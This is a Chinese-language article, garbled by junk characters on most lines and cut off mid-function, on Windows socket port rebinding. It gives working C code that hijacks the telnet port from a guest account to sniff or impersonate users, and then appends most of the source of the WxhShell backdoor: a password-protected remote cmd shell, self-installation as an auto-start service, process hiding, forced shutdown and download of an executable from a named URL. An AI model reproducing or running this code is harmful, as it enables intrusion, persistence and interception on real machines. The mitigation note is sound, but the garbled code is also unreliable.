在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
wk {9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$V"NB`T !\{&^,y saddr.sin_family = AF_INET;
xl5n(~g)p $YDZtS&h saddr.sin_addr.s_addr = htonl(INADDR_ANY);
}qUNXE@ S312h'K
j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2N]u!S ;d W":is" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
muLt/.EZ mT
N6-V 这意味着什么?意味着可以进行如下的攻击:
g*UI~rp oo\0X 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
YJgw%UVJ5m JL~QE-pvD 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
\ iL&Aq}BO Qy ;
M:q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
?DVO\Cp lD09(|` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
D
.3Q0a6 C]aa^_Ldd- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
%hK?\Pg3=E NN5V|#
P} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&s!"pEZWck ]2n&DJu 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
t+0&B" f~Dl;f~H_; #include
.%+`e #include
xG<H${
k; #include
:" ZH #include
u>;#.N/ DWORD WINAPI ClientThread(LPVOID lpParam);
dfB#+wh int main()
T:0X-U {
2,Y8ML< WORD wVersionRequested;
N"|^AF DWORD ret;
^RkHdA WSADATA wsaData;
1E Lzzn BOOL val;
3j.Ft*SV SOCKADDR_IN saddr;
9GS<d.#Nvc SOCKADDR_IN scaddr;
Cna@3)_ int err;
gF%lwq SOCKET s;
L1u
SOCKET sc;
,hK0F3?H> int caddsize;
lo:]r.lX{ HANDLE mt;
Du>dTi~ DWORD tid;
yWIM,2x} wVersionRequested = MAKEWORD( 2, 2 );
8WWRKP1V err = WSAStartup( wVersionRequested, &wsaData );
g#ZR,q if ( err != 0 ) {
'l\V{0;mp printf("error!WSAStartup failed!\n");
`gqBJi return -1;
5EIhCbA }
ErF;5ec saddr.sin_family = AF_INET;
`>RJ*_aKEI <\x/Y$jm0n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
cHK)e2r U{D ?1tF saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
HZ=Dd4! saddr.sin_port = htons(23);
]sO}) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k]x64hgm {
JGIN<J85e printf("error!socket failed!\n");
~\hA-l36 return -1;
I/9ZUxQCyG }
t~p9iGX< val = TRUE;
zW%-Z6%D //SO_REUSEADDR选项就是可以实现端口重绑定的
!mpRLBH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
JGZ,5RTq4- {
xMtl<Na
printf("error!setsockopt failed!\n");
?n/:1LN, return -1;
,
j,[4^ }
>H@
dgb //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
T4T_32`XR //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
'9GHmtdO, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
hC}A%_S -;T>4B= if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
~! ]FF}6 {
BW:&AP@B ret=GetLastError();
[7]p\'j printf("error!bind failed!\n");
qB@]$ return -1;
}.gDaxj }
N;D(_:^ listen(s,2);
OM]p"Jd while(1)
{AIP\ {
<(d^2-0 caddsize = sizeof(scaddr);
1*?IDYB //接受连接请求
XPzwT2_E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
=,-80WNsX if(sc!=INVALID_SOCKET)
6fPuTQ}fY> {
e`R*6^e mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i>T{s-3v if(mt==NULL)
+n9&q#ah {
^/R@bp#< printf("Thread Creat Failed!\n");
1SkGG0
W break;
jD_(im5 }
KK]AX; }
9`.b CloseHandle(mt);
8nES=<rz }
6luCi$bL closesocket(s);
)QaJYC^+ WSACleanup();
m*P~X*St return 0;
?`\<t$M }
:<ujk DWORD WINAPI ClientThread(LPVOID lpParam)
#x#.@ {
$a\q<fN} SOCKET ss = (SOCKET)lpParam;
wx(|$2{h SOCKET sc;
GfQMdLy\Z unsigned char buf[4096];
5#d"]7 SOCKADDR_IN saddr;
bm%2K@ /U long num;
8[f]9P/i DWORD val;
xQ1&j,R] DWORD ret;
;#/b=j\pi //如果是隐藏端口应用的话,可以在此处加一些判断
N3vk<sr@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
' n4zFj+S saddr.sin_family = AF_INET;
:@_CQc*yB saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
n5S$Dl saddr.sin_port = htons(23);
FO3!tJ\L if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.IpwTke' {
C_O7 printf("error!socket failed!\n");
peGXU/5.I return -1;
T>n,@?#K }
BEPDyy val = 100;
j/ 9FiuK if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Podm 3b {
+ qpD>5# ret = GetLastError();
XPUH\I= return -1;
#k)G1Y[c }
d7Q. 'cyQ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Js^ADUy {
,n &|+& ret = GetLastError();
4x8mJ4[H^ return -1;
I$qL= }
a<!g*UVL0M if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%~Nf, {
IIop"6Ko printf("error!socket connect failed!\n");
z(1h ^.
closesocket(sc);
CNbrXN closesocket(ss);
n{Jvx>); return -1;
AP3SOT3I }
,X$S4> while(1)
yKZ~ ^ {
9]NsWd^^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.j7|;Ag //如果是嗅探内容的话,可以再此处进行内容分析和记录
*PL+)2ob //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
A!iH g__/t num = recv(ss,buf,4096,0);
a;*&q/{o if(num>0)
$6fHY\i#R send(sc,buf,num,0);
\jq1F9, else if(num==0)
MrOW&7 break;
.&r]
?O num = recv(sc,buf,4096,0);
P|HY=RMa if(num>0)
h]@Xucc send(ss,buf,num,0);
7jts;H= else if(num==0)
An]*J|nFIY break;
22tY%Y9 }
6EX:qp^` closesocket(ss);
cty~dzX^ closesocket(sc);
?H*_:?=6 return 0 ;
z_JZx]*/ }
8qS)j1.! )}G
HG#D{ !3yR?Xem} ==========================================================
,Hys9I v%zI~g.L 下边附上一个代码,,WXhSHELL
~Gwn||g78 gvA&F|4 ==========================================================
8l!S<RA L>@0Nne7 #include "stdafx.h"
Fdc bmQ J|6aa #include <stdio.h>
6_zL#7E' #include <string.h>
Mv4JF(,S #include <windows.h>
@gxO%@@ #include <winsock2.h>
V3@^bc! #include <winsvc.h>
y"@~5e477$ #include <urlmon.h>
I|WBT ]BAF #pragma comment (lib, "Ws2_32.lib")
& k1Ez #pragma comment (lib, "urlmon.lib")
)-
2^Jvc Yl-09)7s #define MAX_USER 100 // 最大客户端连接数
5^*
d4[&+ #define BUF_SOCK 200 // sock buffer
X/gh>MJJ< #define KEY_BUFF 255 // 输入 buffer
!7%L%~z^ >2VB.f #define REBOOT 0 // 重启
-pqShDar| #define SHUTDOWN 1 // 关机
JvHJ*E |:H[Y"$1; #define DEF_PORT 5000 // 监听端口
|&RdOjw$u ,3fw"P$ #define REG_LEN 16 // 注册表键长度
mGL%<4R, #define SVC_LEN 80 // NT服务名长度
0JNG\ARC FpW{=4yk // 从dll定义API
L]HY*e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Y;#P"-yH typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^{~y+1lt' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
3)Paf`mr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
>DbG$V<v' ;Rwr5 // wxhshell配置信息
Iupk+x> struct WSCFG {
yRvq3>mU int ws_port; // 监听端口
bd)A6a\h char ws_passstr[REG_LEN]; // 口令
sBRw#xyS int ws_autoins; // 安装标记, 1=yes 0=no
,HMB`vF char ws_regname[REG_LEN]; // 注册表键名
^vG*8,^S=8 char ws_svcname[REG_LEN]; // 服务名
8swj'SjX char ws_svcdisp[SVC_LEN]; // 服务显示名
2^UFP+Yw char ws_svcdesc[SVC_LEN]; // 服务描述信息
/6 P()Upe char ws_passmsg[SVC_LEN]; // 密码输入提示信息
^8V]g1]fiG int ws_downexe; // 下载执行标记, 1=yes 0=no
y'4= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
JN3Oe5yB2@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
j/^0q90QO PkG+`N };
S4?ssI
ND21; // default Wxhshell configuration
w
#1l)+ struct WSCFG wscfg={DEF_PORT,
25YJH1x "xuhuanlingzhe",
FirmzB Il5 1,
A E7>jkHB "Wxhshell",
7Bmt^J5i&t "Wxhshell",
>mt<`s "WxhShell Service",
eU{=x$o6S "Wrsky Windows CmdShell Service",
t[an,3 "Please Input Your Password: ",
^$x^JM ]/ 1,
"2=v?,'t "
http://www.wrsky.com/wxhshell.exe",
i 3?zYaT "Wxhshell.exe"
`7N[rs9|S };
C@Wm+E~;8 Q>Q$BCD5 // 消息定义模块
oPWvZI(\& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
.[O*bk char *msg_ws_prompt="\n\r? for help\n\r#>";
T+2?u.{I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=AR'Pad char *msg_ws_ext="\n\rExit.";
*5|\if\ char *msg_ws_end="\n\rQuit.";
Yq;S%. char *msg_ws_boot="\n\rReboot...";
@+xkd(RfN char *msg_ws_poff="\n\rShutdown...";
i[jAAr$ char *msg_ws_down="\n\rSave to ";
V
(X)Qu@R ?<F\S2W char *msg_ws_err="\n\rErr!";
g<.VW0 char *msg_ws_ok="\n\rOK!";
|5![k<o# [#2= w char ExeFile[MAX_PATH];
vx-u+/\ int nUser = 0;
P5aHLNit HANDLE handles[MAX_USER];
<ygkK5#q int OsIsNt;
k (
R 1~5={eI SERVICE_STATUS serviceStatus;
Qiw Zk<rb SERVICE_STATUS_HANDLE hServiceStatusHandle;
# <&=ZLN \=83#*KK // 函数声明
=2`s Uw} int Install(void);
~'T]B{.+J int Uninstall(void);
UGR5ILf int DownloadFile(char *sURL, SOCKET wsh);
b/S4b int Boot(int flag);
]p#Zdm1EL void HideProc(void);
KN+*_L- int GetOsVer(void);
TXy*- <#vR int Wxhshell(SOCKET wsl);
}-8K*A3 void TalkWithClient(void *cs);
XPX{c|]>. int CmdShell(SOCKET sock);
IlS{>6 int StartFromService(void);
]vu'+F$ int StartWxhshell(LPSTR lpCmdLine);
;%U`lE0 1>|p1YZ" VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
8vaqj/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
!})+WSs'"s \ &_
- // 数据结构和表定义
dd$\Q SERVICE_TABLE_ENTRY DispatchTable[] =
[ ra[~ {
x{ZcF=4 {wscfg.ws_svcname, NTServiceMain},
|t.WPp5, {NULL, NULL}
u2U@Qrs2 };
f Z \Ev%F B`KpaE] // 自我安装
8qBw;A) int Install(void)
_;0:wXib= {
rtUdL,Hx char svExeFile[MAX_PATH];
G-}
zkax HKEY key;
QR^pu.k@ strcpy(svExeFile,ExeFile);
y8,es$ St&XG>nWS // 如果是win9x系统,修改注册表设为自启动
=@ON>SmPs if(!OsIsNt) {
*4.f*3* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eH1Y!&` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Y
@K9Hl RegCloseKey(key);
0e/~H^,SQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
rg\|-_.es' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
}*0%wP RegCloseKey(key);
:!aFfb[" return 0;
rfCoi>{< }
NG b`f-:jw }
E2dSOZS:)% }
@zPWu}&m else {
n287@Y4Ru oM< &4F // 如果是NT以上系统,安装为系统服务
x&8?/BR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
6o6m"6 if (schSCManager!=0)
Ob(j_{m {
-8TJ~t%w4 SC_HANDLE schService = CreateService
4I2ppz (
zM)o^Fn2 schSCManager,
vguqk!eo4 wscfg.ws_svcname,
1zl@$ Nt wscfg.ws_svcdisp,
Wc+ e>* SERVICE_ALL_ACCESS,
r5F#q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
}RM?gE SERVICE_AUTO_START,
<Ojf&C^Z SERVICE_ERROR_NORMAL,
VoP(!.Ua>7 svExeFile,
,rTR
|>Z NULL,
[;tbNVZK NULL,
{qh`8 NULL,
LfK <%(: NULL,
3 #jPQ[+ NULL
"h)+fAT|, );
5@Rf]'1B0 if (schService!=0)
0ED(e1K#B {
wGbD%= CloseServiceHandle(schService);
7AtJ6 CloseServiceHandle(schSCManager);
]bX.w/= strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
b},OCVT? strcat(svExeFile,wscfg.ws_svcname);
/S|Pq!4< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
W]reQ&<Z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
eBBh/=Zc RegCloseKey(key);
lYq
R6^ return 0;
7$b78wax }
$r_z""eOc }
hQX|wWh CloseServiceHandle(schSCManager);
9BHl2<&V }
@3b0hi4 }
II[qWs>RG[ YJr@4!j* return 1;
dyu~T{ }
BDcl1f T 'JRkS'ay // 自我卸载
"*TnkFTR int Uninstall(void)
a*vi&$@`Z1 {
Y}F+4 HKEY key;
Z;Tjjws 4J_18.JHP if(!OsIsNt) {
t1Cyyb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m#8mU,7 RegDeleteValue(key,wscfg.ws_regname);
Ak|jJ RegCloseKey(key);
jQ`cfE$sV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gKBcD\F RegDeleteValue(key,wscfg.ws_regname);
Dwwh;B RegCloseKey(key);
oBIKtS*L return 0;
~9x$tb x- }
6h;$^3x$ }
UG1^G07s }
="Dmfy7 else {
n {^D_S Fet>KacTht SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
o2Z#
5- if (schSCManager!=0)
H?O* {
X;zy1ZH SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}X}fX#[ if (schService!=0)
!9V_U {
M|76,2u if(DeleteService(schService)!=0) {
j>P>MdZtk CloseServiceHandle(schService);
BcA:M\dK% CloseServiceHandle(schSCManager);
"z7.i{ return 0;
.K:>`~<) }
G$`/86A ) CloseServiceHandle(schService);
C;STJrew }
`)K1[& CloseServiceHandle(schSCManager);
?$8OVq.w, }
K{"(|~=U }
.7cQKdvcC r=s2wjk return 1;
|8V+(Vzl }
\W#M]Q MheP@ [w|@ // 从指定url下载文件
s{hJ"lv: int DownloadFile(char *sURL, SOCKET wsh)
Z
wIsEJz {
'rU5VrK HRESULT hr;
h.G/HHz
char seps[]= "/";
DTgF,c char *token;
+=;F vb char *file;
o^5xCK:Oi2 char myURL[MAX_PATH];
iQs(Dh=* char myFILE[MAX_PATH];
dt;R H?^Poe(=( strcpy(myURL,sURL);
)I`B+c: token=strtok(myURL,seps);
M(SH3~ while(token!=NULL)
P62g7>B5^ {
]6FpUF#<D file=token;
bIwt#:v token=strtok(NULL,seps);
={8ClUV# }
LXfDXXF u9sffX5x[J GetCurrentDirectory(MAX_PATH,myFILE);
xUzfBn strcat(myFILE, "\\");
-*+7-9A I strcat(myFILE, file);
mWCY%o@ send(wsh,myFILE,strlen(myFILE),0);
Q+Jzab send(wsh,"...",3,0);
|Y2u=B hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
\*a7DuVw if(hr==S_OK)
@k ~Xem%< return 0;
:\gdQG else
;h3c+7u1 return 1;
&P,8)YA wVV'9pw} }
ANi}q9SC mI9~\k&9 // 系统电源模块
M>8#is(pV int Boot(int flag)
oM
Q+= {
*|ubH?71%Y HANDLE hToken;
I}$Y[Jve TOKEN_PRIVILEGES tkp;
n$B=Vt, Ws.F=kS>h if(OsIsNt) {
I@7^H48\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#.#T+B+9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ZVk_qA% tkp.PrivilegeCount = 1;
/oE@F178 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\_CC6J0k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[y64%|m if(flag==REBOOT) {
f*LDrAf9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
,7z.%g3+z return 0;
bp;b;f> }
eBBqF!WDb else {
.@.O*n#K if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>>F E?@ return 0;
$hn#T#J3 }
4*G#fW- }
Mp}aJzmkB; else {
ixp(^>ZN if(flag==REBOOT) {
YN.rj-;^+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
L+(5`Y return 0;
Vw<=& w #K }
9<G-uF else {
&0+;E-_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
M&:[3u- return 0;
Ihw^g<X }
nsuK{8}@ }
H
Y\-sl^ S:+SZq return 1;
}p]8'($ }
fiES6VL C`%cPl // win9x进程隐藏模块
OpW4@le_r void HideProc(void)
9)];l?l {
+MvcW.W~ Qis[j-?: HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
u
@?n3l if ( hKernel != NULL )
1#gveHm]-G {
mi`!'If0) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
:Bz*vH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
M._9/
*C U FreeLibrary(hKernel);
S[n;u-U }
.m9s+D]fI L$=6R3GI return;
Akb#1Ww4 }
#kR8v[Z !c4pFQ B // 获取操作系统版本
"6[fqW65 int GetOsVer(void)
DW\';" {
~Uz,%zU#3 OSVERSIONINFO winfo;
]O,;t> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
^M0e 0 GetVersionEx(&winfo);
EuOrwmdj if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
g+bc4eU return 1;
[u`v'*0d else
J-P>
~
L" return 0;
%scSp&X }
:D\M.A xKi:
2 // 客户端句柄模块
S|CN)8Jsi int Wxhshell(SOCKET wsl)
fzT|{vG8 {
*I:^g SOCKET wsh;
\Z{6j&; struct sockaddr_in client;
\7n ;c DWORD myID;
[AstD9 =aX;- while(nUser<MAX_USER)
]+@ @{?0 {
VJ8cls< int nSize=sizeof(client);
s{#rCc) wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P+tRxpz if(wsh==INVALID_SOCKET) return 1;
8eCC
=Az: JPJ&k(P handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
qRlS^=# if(handles[nUser]==0)
>> yK_yg closesocket(wsh);
e%Rg,dX else
OuWG.Za nUser++;
__dSEOGoe }
?Imq4I~) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
v0+mh] Lq:
!?)I return 0;
$Y&
8@/L }
plcz m 2 j?<>y/IR // 关闭 socket
OE[|1?3 void CloseIt(SOCKET wsh)
{]-AuC2E/0 {
'
5`w5swbc closesocket(wsh);
2_k2t
? nUser--;
lR3`4bHA ExitThread(0);
0&XdCoIe }
E]Dcb*t n] {sBI3 // 客户端请求句柄
sl?> X)} void TalkWithClient(void *cs)
rWsUWA T* {
v/gxQy+l j
N":9+F SOCKET wsh=(SOCKET)cs;
&m<:&h& b char pwd[SVC_LEN];
90<z*j$EK char cmd[KEY_BUFF];
2%o@ ?Rp char chr[1];
b/"&E'5-`\ int i,j;
"V|&s/9 /&1FgSARK while (nUser < MAX_USER) {
Vcjmj r I)Y
W0 if(wscfg.ws_passstr) {
~nLE?>x|Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%+gK5aVab //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ul@G{N{L //ZeroMemory(pwd,KEY_BUFF);
lqdil l\ i=0;
<Cv6wC= while(i<SVC_LEN) {
p8gm= g}\G@7Q // 设置超时
B'[FnJ8~ fd_set FdRead;
5AFy6Ab struct timeval TimeOut;
,,
S]_S FD_ZERO(&FdRead);
^phgNzD FD_SET(wsh,&FdRead);
PiQsVk TimeOut.tv_sec=8;
my|]:(_0d TimeOut.tv_usec=0;
.t53+<A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
-(~OzRfYi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
% )'#
d "wqN,}bj\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Uphme8SX pwd
=chr[0]; Hst]}g' .
if(chr[0]==0xd || chr[0]==0xa) { *n]f) Jc
pwd=0; #POVu|Y;h
break; :[P)t
%
} 4gKu8G
i++; WK$d<:"
} '\g-z
>`{B
// 如果是非法用户,关闭 socket 4 q-/R
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yzI`&?
P2
} bn*SLWWQ.3
-/)>DOgUq
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4{zz-4=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z:gp\
"2m (*+
while(1) { 'aV/\a:*
o*5iHa(Qm
ZeroMemory(cmd,KEY_BUFF); yq7gBkS
d1]1bN4`"0
// 自动支持客户端 telnet标准 )/87<Y;o
j=0; p<[gzmU9\b
while(j<KEY_BUFF) { E^K<b7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PPpq"c
cmd[j]=chr[0]; B
r`a;yT
if(chr[0]==0xa || chr[0]==0xd) { (D5sJ$&E@\
cmd[j]=0; h&|PHI
break; 2oBT
_o%/J
} F x4s)(
j++; ]0dj##5tJ
} ]wxjd
l
azBYh*s=5{
// 下载文件 .dwy+BzS
if(strstr(cmd,"http://")) { ,;D$d#\"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Acix`-<
if(DownloadFile(cmd,wsh)) ?:woUTyCv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 84U?\f@u
else Py72:;wn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VvFMpPi
} ahoXQ8c:\}
else { 5 *R{N
~>
'zo]
f
switch(cmd[0]) { MrU0Jrk4+
|&49YQ
// 帮助 ,h<xL-
case '?': { kN~:Bh$
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #lDW?
break; V9:Jz Q=?`
} .D8|_B
// 安装 [C-4*qOaa2
case 'i': { .91@T.
if(Install()) 1SK|4Am
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Ld{QPa
else _GbwyfA
n#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;07>ZH%
break; T1~G{@"
} m8ApiGG
// 卸载 ATG;*nIP
case 'r': { E3vYVuw
if(Uninstall()) '$q=r x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kfW"vI+d
else gVscdg5
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); je#OV,uHM
break; UFSbu5 j
} my]t[%Q{
// 显示 wxhshell 所在路径 WeiDg,]e$b
case 'p': { |PNPOj0
char svExeFile[MAX_PATH]; E;MelK<8(
strcpy(svExeFile,"\n\r"); })F.Tjf*
strcat(svExeFile,ExeFile); 6"djX47j
send(wsh,svExeFile,strlen(svExeFile),0); \?_M_5Nb
break;
YZdV0-S
} (~IoRhp^
// 重启 ,L&d\M"f
case 'b': { $o%:ST4
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CK=TD`$w
if(Boot(REBOOT)) UKpc3Jo:~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _c $F?9:
else { 'c/S$_r
closesocket(wsh); k}&7!G@T
ExitThread(0); fMm.V=/+
} =pk5'hBAi
break; <zWMTVaC
} W/@-i|v
// 关机 Kt5k_9
case 'd': { f`vu+nw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /$'|`jKsB
if(Boot(SHUTDOWN)) M 8NWQ^Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4.e0k<]N`
else { `i5 \(cdl
closesocket(wsh); MLT^7'y
ExitThread(0); ss0`9:z
} X#Sgf|$
break; `k.0d`3(
} I83 _x|$FZ
// 获取shell ,_M
case 's': { roM!%hb
CmdShell(wsh); : *8t,f~s^
closesocket(wsh); J?%e cCN
ExitThread(0); (Go1@;5I
break; 3j7Na#<tL3
} @#QaaR;4
// 退出 ^JMO POm
case 'x': { 7R7e3p,K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PJF1+I.%c#
CloseIt(wsh); :*I='M9B
break; q@&6&cd
} H8!)zZ
// 离开 5"9'=LV~
case 'q': { z]/!4+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .LI(2lP
closesocket(wsh); 7CwQmVe+
WSACleanup(); -{z<+(K!$
exit(1); 92(P~Sdv
break; hX)PdRk#
} ^xX1G_{
} 6o)RsxN eu
} )#l&BV5
-P:o ^_)g
// 提示信息 S;^'Ek"Z.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @%"r69\
} @j<Q2z^
} {\vcwMUzZ
=Cc]ugl7-
return; EC/=JlL`5
} "lRxatM
e'|IRhr
// shell模块句柄 \C<'2KZR,
int CmdShell(SOCKET sock) Y[0mTL4IO
{ 0[ZB ^
STARTUPINFO si; j8)rz
ZeroMemory(&si,sizeof(si)); |)*9BN
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s4`,Z*H
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1]a\uq}
PROCESS_INFORMATION ProcessInfo; 1t/mq?z:
char cmdline[]="cmd"; 43,baeG
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]^53Qbrv
return 0; tGJJ|mle>
} |OiM(E(
5)C`W]JE
// 自身启动模式 TSTkMlCG
int StartFromService(void) &3$FkU^F6
{ |Ae7wXOs
typedef struct m.68ctaa
{ 8ly6CP+^B
DWORD ExitStatus; @|:yK|6O
DWORD PebBaseAddress; muMd9\p
